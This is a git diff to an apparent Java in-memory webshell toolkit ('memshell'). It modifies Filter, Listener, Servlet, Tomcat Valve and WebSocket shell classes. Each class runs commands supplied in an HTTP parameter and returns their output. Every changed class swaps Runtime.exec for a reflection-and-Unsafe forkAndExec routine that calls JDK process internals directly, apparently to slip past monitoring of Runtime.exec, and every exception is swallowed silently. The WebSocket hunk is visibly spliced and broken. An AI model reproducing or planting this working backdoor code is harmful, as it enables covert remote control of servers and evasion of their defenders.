diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
index 218a7c3d..557577d5 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
@@ -1,10 +1,14 @@
package com.reajason.javaweb.memshell.shelltool.command;
+import sun.misc.Unsafe;
+
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
/**
* @author ReaJason
@@ -27,20 +31,88 @@ public class CommandFilter implements Filter {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = getParam(servletRequest.getParameter(paramName));
- if (cmd != null) {
- Process exec = Runtime.getRuntime().exec(cmd);
- InputStream inputStream = exec.getInputStream();
- ServletOutputStream outputStream = servletResponse.getOutputStream();
- byte[] buf = new byte[8192];
- int length;
- while ((length = inputStream.read(buf)) != -1) {
- outputStream.write(buf, 0, length);
+ try {
+ if (cmd != null) {
+ InputStream inputStream = forkAndExec(cmd);
+ ServletOutputStream outputStream = servletResponse.getOutputStream();
+ byte[] buf = new byte[8192];
+ int length;
+ while ((length = inputStream.read(buf)) != -1) {
+ outputStream.write(buf, 0, length);
+ }
+ return;
}
- return;
+ } catch (Exception ignored) {
}
chain.doFilter(servletRequest, servletResponse);
}
+ @SuppressWarnings("all")
+ public static InputStream forkAndExec(String cmd) throws Exception {
+ String[] strs = cmd.split("\\s+");
+ Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+ theUnsafeField.setAccessible(true);
+ Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
+
+ Class> processClass = null;
+
+ try {
+ processClass = Class.forName("java.lang.UNIXProcess");
+ } catch (ClassNotFoundException e) {
+ processClass = Class.forName("java.lang.ProcessImpl");
+ }
+
+ Object processObject = unsafe.allocateInstance(processClass);
+
+ byte[][] args = new byte[strs.length - 1][];
+ int size = args.length;
+
+ for (int i = 0; i < args.length; i++) {
+ args[i] = strs[i + 1].getBytes();
+ size += args[i].length;
+ }
+
+ byte[] argBlock = new byte[size];
+ int i = 0;
+
+ for (byte[] arg : args) {
+ System.arraycopy(arg, 0, argBlock, i, arg.length);
+ i += arg.length + 1;
+ }
+
+ int[] envc = new int[1];
+ int[] std_fds = new int[]{-1, -1, -1};
+ Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
+ Field helperpathField = processClass.getDeclaredField("helperpath");
+ launchMechanismField.setAccessible(true);
+ helperpathField.setAccessible(true);
+ Object launchMechanismObject = launchMechanismField.get(processObject);
+ byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
+ int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
+
+ Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
+ byte[].class, int.class, byte[].class, int[].class, boolean.class);
+ forkMethod.setAccessible(true);
+
+ byte[] bytes = strs[0].getBytes();
+ byte[] result = new byte[bytes.length + 1];
+ System.arraycopy(bytes, 0,
+ result, 0,
+ bytes.length);
+ result[result.length - 1] = (byte) 0;
+
+ forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
+ null, envc[0], null, std_fds, false);
+
+ Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
+ initStreamsMethod.setAccessible(true);
+ initStreamsMethod.invoke(processObject, std_fds);
+
+ Method getInputStreamMethod = processClass.getMethod("getInputStream");
+ getInputStreamMethod.setAccessible(true);
+ return (InputStream) getInputStreamMethod.invoke(processObject);
+ }
+
@Override
public void destroy() {
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
index 354e0491..4216cc2e 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java
@@ -1,11 +1,15 @@
package com.reajason.javaweb.memshell.shelltool.command;
+import sun.misc.Unsafe;
+
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
/**
* @author ReaJason
@@ -32,8 +36,7 @@ public class CommandListener implements ServletRequestListener {
String cmd = getParam(request.getParameter(paramName));
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
- Process exec = Runtime.getRuntime().exec(cmd);
- InputStream inputStream = exec.getInputStream();
+ InputStream inputStream = forkAndExec(cmd);
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
@@ -45,6 +48,72 @@ public class CommandListener implements ServletRequestListener {
}
}
+ @SuppressWarnings("all")
+ public static InputStream forkAndExec(String cmd) throws Exception {
+ String[] strs = cmd.split("\\s+");
+ Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+ theUnsafeField.setAccessible(true);
+ Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
+
+ Class> processClass = null;
+
+ try {
+ processClass = Class.forName("java.lang.UNIXProcess");
+ } catch (ClassNotFoundException e) {
+ processClass = Class.forName("java.lang.ProcessImpl");
+ }
+
+ Object processObject = unsafe.allocateInstance(processClass);
+
+ byte[][] args = new byte[strs.length - 1][];
+ int size = args.length;
+
+ for (int i = 0; i < args.length; i++) {
+ args[i] = strs[i + 1].getBytes();
+ size += args[i].length;
+ }
+
+ byte[] argBlock = new byte[size];
+ int i = 0;
+
+ for (byte[] arg : args) {
+ System.arraycopy(arg, 0, argBlock, i, arg.length);
+ i += arg.length + 1;
+ }
+
+ int[] envc = new int[1];
+ int[] std_fds = new int[]{-1, -1, -1};
+ Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
+ Field helperpathField = processClass.getDeclaredField("helperpath");
+ launchMechanismField.setAccessible(true);
+ helperpathField.setAccessible(true);
+ Object launchMechanismObject = launchMechanismField.get(processObject);
+ byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
+ int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
+
+ Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
+ byte[].class, int.class, byte[].class, int[].class, boolean.class);
+ forkMethod.setAccessible(true);
+
+ byte[] bytes = strs[0].getBytes();
+ byte[] result = new byte[bytes.length + 1];
+ System.arraycopy(bytes, 0,
+ result, 0,
+ bytes.length);
+ result[result.length - 1] = (byte) 0;
+
+ forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
+ null, envc[0], null, std_fds, false);
+
+ Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
+ initStreamsMethod.setAccessible(true);
+ initStreamsMethod.invoke(processObject, std_fds);
+
+ Method getInputStreamMethod = processClass.getMethod("getInputStream");
+ getInputStreamMethod.setAccessible(true);
+ return (InputStream) getInputStreamMethod.invoke(processObject);
+ }
+
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
return null;
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
index d5ca751e..2b354d57 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
@@ -1,5 +1,7 @@
package com.reajason.javaweb.memshell.shelltool.command;
+import sun.misc.Unsafe;
+
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
@@ -7,6 +9,8 @@ import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
/**
* @author ReaJason
@@ -27,15 +31,84 @@ public class CommandServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = getParam(request.getParameter(paramName));
- if (cmd != null) {
- Process exec = Runtime.getRuntime().exec(cmd);
- InputStream inputStream = exec.getInputStream();
- ServletOutputStream outputStream = response.getOutputStream();
- byte[] buf = new byte[8192];
- int length;
- while ((length = inputStream.read(buf)) != -1) {
- outputStream.write(buf, 0, length);
+ try {
+ if (cmd != null) {
+ InputStream inputStream = forkAndExec(cmd);
+ ServletOutputStream outputStream = response.getOutputStream();
+ byte[] buf = new byte[8192];
+ int length;
+ while ((length = inputStream.read(buf)) != -1) {
+ outputStream.write(buf, 0, length);
+ }
}
+ } catch (Exception ignored) {
+
}
}
+
+ @SuppressWarnings("all")
+ public static InputStream forkAndExec(String cmd) throws Exception {
+ String[] strs = cmd.split("\\s+");
+ Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+ theUnsafeField.setAccessible(true);
+ Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
+
+ Class> processClass = null;
+
+ try {
+ processClass = Class.forName("java.lang.UNIXProcess");
+ } catch (ClassNotFoundException e) {
+ processClass = Class.forName("java.lang.ProcessImpl");
+ }
+
+ Object processObject = unsafe.allocateInstance(processClass);
+
+ byte[][] args = new byte[strs.length - 1][];
+ int size = args.length;
+
+ for (int i = 0; i < args.length; i++) {
+ args[i] = strs[i + 1].getBytes();
+ size += args[i].length;
+ }
+
+ byte[] argBlock = new byte[size];
+ int i = 0;
+
+ for (byte[] arg : args) {
+ System.arraycopy(arg, 0, argBlock, i, arg.length);
+ i += arg.length + 1;
+ }
+
+ int[] envc = new int[1];
+ int[] std_fds = new int[]{-1, -1, -1};
+ Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
+ Field helperpathField = processClass.getDeclaredField("helperpath");
+ launchMechanismField.setAccessible(true);
+ helperpathField.setAccessible(true);
+ Object launchMechanismObject = launchMechanismField.get(processObject);
+ byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
+ int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
+
+ Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
+ byte[].class, int.class, byte[].class, int[].class, boolean.class);
+ forkMethod.setAccessible(true);
+
+ byte[] bytes = strs[0].getBytes();
+ byte[] result = new byte[bytes.length + 1];
+ System.arraycopy(bytes, 0,
+ result, 0,
+ bytes.length);
+ result[result.length - 1] = (byte) 0;
+
+ forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
+ null, envc[0], null, std_fds, false);
+
+ Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
+ initStreamsMethod.setAccessible(true);
+ initStreamsMethod.invoke(processObject, std_fds);
+
+ Method getInputStreamMethod = processClass.getMethod("getInputStream");
+ getInputStreamMethod.setAccessible(true);
+ return (InputStream) getInputStreamMethod.invoke(processObject);
+ }
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
index e13b31c8..e14f9ce4 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
@@ -3,11 +3,14 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
+import sun.misc.Unsafe;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
/**
* @author ReaJason
@@ -46,17 +49,86 @@ public class CommandValve implements Valve {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = getParam(request.getParameter(paramName));
- if (cmd != null) {
- Process exec = Runtime.getRuntime().exec(cmd);
- InputStream inputStream = exec.getInputStream();
- ServletOutputStream outputStream = response.getOutputStream();
- byte[] buf = new byte[8192];
- int length;
- while ((length = inputStream.read(buf)) != -1) {
- outputStream.write(buf, 0, length);
+ try {
+ if (cmd != null) {
+ InputStream inputStream = forkAndExec(cmd);
+ ServletOutputStream outputStream = response.getOutputStream();
+ byte[] buf = new byte[8192];
+ int length;
+ while ((length = inputStream.read(buf)) != -1) {
+ outputStream.write(buf, 0, length);
+ }
+ return;
}
- return;
+ } catch (Exception ignored) {
+
}
this.getNext().invoke(request, response);
}
+
+ @SuppressWarnings("all")
+ public static InputStream forkAndExec(String cmd) throws Exception {
+ String[] strs = cmd.split("\\s+");
+ Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
+ theUnsafeField.setAccessible(true);
+ Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
+
+ Class> processClass = null;
+
+ try {
+ processClass = Class.forName("java.lang.UNIXProcess");
+ } catch (ClassNotFoundException e) {
+ processClass = Class.forName("java.lang.ProcessImpl");
+ }
+
+ Object processObject = unsafe.allocateInstance(processClass);
+
+ byte[][] args = new byte[strs.length - 1][];
+ int size = args.length;
+
+ for (int i = 0; i < args.length; i++) {
+ args[i] = strs[i + 1].getBytes();
+ size += args[i].length;
+ }
+
+ byte[] argBlock = new byte[size];
+ int i = 0;
+
+ for (byte[] arg : args) {
+ System.arraycopy(arg, 0, argBlock, i, arg.length);
+ i += arg.length + 1;
+ }
+
+ int[] envc = new int[1];
+ int[] std_fds = new int[]{-1, -1, -1};
+ Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
+ Field helperpathField = processClass.getDeclaredField("helperpath");
+ launchMechanismField.setAccessible(true);
+ helperpathField.setAccessible(true);
+ Object launchMechanismObject = launchMechanismField.get(processObject);
+ byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
+ int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
+
+ Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
+ byte[].class, int.class, byte[].class, int[].class, boolean.class);
+ forkMethod.setAccessible(true);
+
+ byte[] bytes = strs[0].getBytes();
+ byte[] result = new byte[bytes.length + 1];
+ System.arraycopy(bytes, 0,
+ result, 0,
+ bytes.length);
+ result[result.length - 1] = (byte) 0;
+
+ forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
+ null, envc[0], null, std_fds, false);
+
+ Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
+ initStreamsMethod.setAccessible(true);
+ initStreamsMethod.invoke(processObject, std_fds);
+
+ Method getInputStreamMethod = processClass.getMethod("getInputStream");
+ getInputStreamMethod.setAccessible(true);
+ return (InputStream) getInputStreamMethod.invoke(processObject);
+ }
}
\ No newline at end of file
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
index 003e25f5..69438225 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandWebSocket.java
@@ -1,11 +1,15 @@
package com.reajason.javaweb.memshell.shelltool.command;
+import sun.misc.Unsafe;
+
import javax.websocket.Endpoint;
import javax.websocket.EndpointConfig;
import javax.websocket.MessageHandler;
import javax.websocket.Session;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
/**
* wsMemShell
@@ -24,8 +28,7 @@ public class CommandWebSocket extends Endpoint implements MessageHandler.Whole processClass = null;
+
+ try {
+ processClass = Class.forName("java.lang.UNIXProcess");
+ } catch (ClassNotFoundException e) {
+ processClass = Class.forName("java.lang.ProcessImpl");
+ }
+
+ Object processObject = unsafe.allocateInstance(processClass);
+
+ byte[][] args = new byte[strs.length - 1][];
+ int size = args.length;
+
+ for (int i = 0; i < args.length; i++) {
+ args[i] = strs[i + 1].getBytes();
+ size += args[i].length;
+ }
+
+ byte[] argBlock = new byte[size];
+ int i = 0;
+
+ for (byte[] arg : args) {
+ System.arraycopy(arg, 0, argBlock, i, arg.length);
+ i += arg.length + 1;
+ }
+
+ int[] envc = new int[1];
+ int[] std_fds = new int[]{-1, -1, -1};
+ Field launchMechanismField = processClass.getDeclaredField("launchMechanism");
+ Field helperpathField = processClass.getDeclaredField("helperpath");
+ launchMechanismField.setAccessible(true);
+ helperpathField.setAccessible(true);
+ Object launchMechanismObject = launchMechanismField.get(processObject);
+ byte[] helperpathObject = (byte[]) helperpathField.get(processObject);
+ int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject);
+
+ Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class,
+ byte[].class, int.class, byte[].class, int[].class, boolean.class);
+ forkMethod.setAccessible(true);
+
+ byte[] bytes = strs[0].getBytes();
+ byte[] result = new byte[bytes.length + 1];
+ System.arraycopy(bytes, 0,
+ result, 0,
+ bytes.length);
+ result[result.length - 1] = (byte) 0;
+
+ forkMethod.invoke(processObject, ordinal + 1, helperpathObject, result, argBlock, args.length,
+ null, envc[0], null, std_fds, false);
+
+ Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class);
+ initStreamsMethod.setAccessible(true);
+ initStreamsMethod.invoke(processObject, std_fds);
+
+ Method getInputStreamMethod = processClass.getMethod("getInputStream");
+ getInputStreamMethod.setAccessible(true);
+ return (InputStream) getInputStreamMethod.invoke(processObject);
+ }
+
@Override
public void onOpen(final Session session, EndpointConfig config) {
this.session = session;